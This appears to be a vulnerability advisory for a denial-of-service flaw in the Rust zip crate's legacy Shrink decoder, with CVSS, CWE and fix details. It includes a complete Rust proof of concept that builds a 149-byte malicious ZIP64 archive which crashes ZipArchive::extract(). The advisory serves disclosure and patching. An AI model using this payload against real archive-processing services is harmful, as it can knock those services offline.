GHSA-9hj8-73fh-9963 CVE-2026-115907
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.35%
- Chance of exploitation in the next 30 days. Higher than 28.69% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- CWE-789 Memory Allocation with Excessive Size Value
- Fix
9.0.0- Upgrade zip to this version or later
Description
Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Details
When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
if !self.stream_read {
self.stream_read = true;
let mut compressed_bytes = Vec::new();
self.compressed_reader.read_to_end(&mut compressed_bytes)?;
self.stream.reserve(self.uncompressed_size as usize);
hwunshrink(
&compressed_bytes,
self.uncompressed_size as usize,
&mut self.stream,
)?;
}
In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.
self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.
The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
PoC
Create a new Cargo project with the following layout:
zip2-legacy-poc/
|-- Cargo.toml
`-- src/
`-- main.rs
Use this Cargo.toml:
[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false
[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }
Use this src/main.rs:
use std::fs::File;
use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push32(out: &mut Vec<u8>, value: u32) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push64(out: &mut Vec<u8>, value: u64) {
out.extend_from_slice(&value.to_le_bytes());
}
fn zip64_extra() -> Vec<u8> {
let mut extra = Vec::new();
push16(&mut extra, 0x0001);
push16(&mut extra, 16);
push64(&mut extra, u64::MAX);
push64(&mut extra, 1);
extra
}
fn archive() -> Vec<u8> {
let name = b"entry";
let extra = zip64_extra();
let mut out = Vec::new();
push32(&mut out, 0x0403_4b50);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
out.push(0);
let central_start = out.len() as u32;
push32(&mut out, 0x0201_4b50);
push16(&mut out, 45);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, 0);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
let central_size = out.len() as u32 - central_start;
push32(&mut out, 0x0605_4b50);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 1);
push16(&mut out, 1);
push32(&mut out, central_size);
push32(&mut out, central_start);
push16(&mut out, 0);
out
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
let bytes = archive();
File::create("poc.zip")?.write_all(&bytes)?;
let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
let entry = archive.by_index(0)?;
println!(
"method={:?} declared_size={}",
entry.compression(),
entry.size()
);
drop(entry);
let output = tempfile::tempdir()?;
archive.extract(output.path())?;
Ok(())
}
Run the reproducer in release mode:
cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release
Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:
method=Shrink declared_size=18446744073709551615
thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow
The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.
Impact
Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.
zip::read::ZipArchive::extract
Affected versions
crates.io
| Package | Vulnerable | Fixed in |
|---|---|---|
| zip | >= 5.1.0, < 9.0.0 |
9.0.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
zip crates.io → 9.0.0
- cargo
cargo update -p zip --precise 9.0.0
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-789: Memory Allocation with Excessive Size Value
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
How to prevent it
- Implementation, Architecture and Design: Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
- Operation: Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hjqx-j4rw-g7xv zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically. | High | Also affects zip |
| GHSA-q7v9-x93c-xqv3 zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction | High | Also affects zip |
| GHSA-m665-v7pm-7grj zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE | Critical | Also affects zip |
| GHSA-8hxf-qr8p-62x4 zip: AES Entry HMAC Authentication Bypass on Premature EOF | Medium | Also affects zip |
| RUSTSEC-2026-0369 ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the target | Critical | Also affects zip |
| RUSTSEC-2026-0368 zip: `ZipArchive::extract` creates symbolic links whose attacker-controlled targets are outside the destination directory | Not rated yet | Also affects zip |
| RUSTSEC-2026-0367 Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation | High | Also affects zip |
| GHSA-94vh-gphv-8pm8 zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write | High | Also affects zip |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor